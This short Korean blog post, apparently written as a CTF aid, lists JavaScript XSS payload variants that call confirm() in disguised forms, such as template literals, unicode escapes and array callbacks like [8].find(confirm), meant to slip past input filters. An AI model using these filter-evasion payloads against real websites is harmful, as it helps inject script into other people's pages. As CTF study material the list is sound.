Hacking/Web.

XSS awesome confirm variants

2019. 4. 17. 15:10

에이프릴 이나은

 

CTF에서 XSS exploiting 문제가 나오면 유용하게 사용할 수 있는 페이로드들.

confirm()
confirm``
(((confirm)))``
co\u006efirm()
new class extends confirm``{}
[8].find(confirm)
[8].map(confirm)
[8].some(confirm)
[8].every(confirm)
[8].filter(confirm)
[8].findIndex(confirm)

아래의 Array 기반으로 함수를 실행하는 방식은 Javascript의 callback 함수를 이용하여 confirm() 함수를 실행시킨 것이다.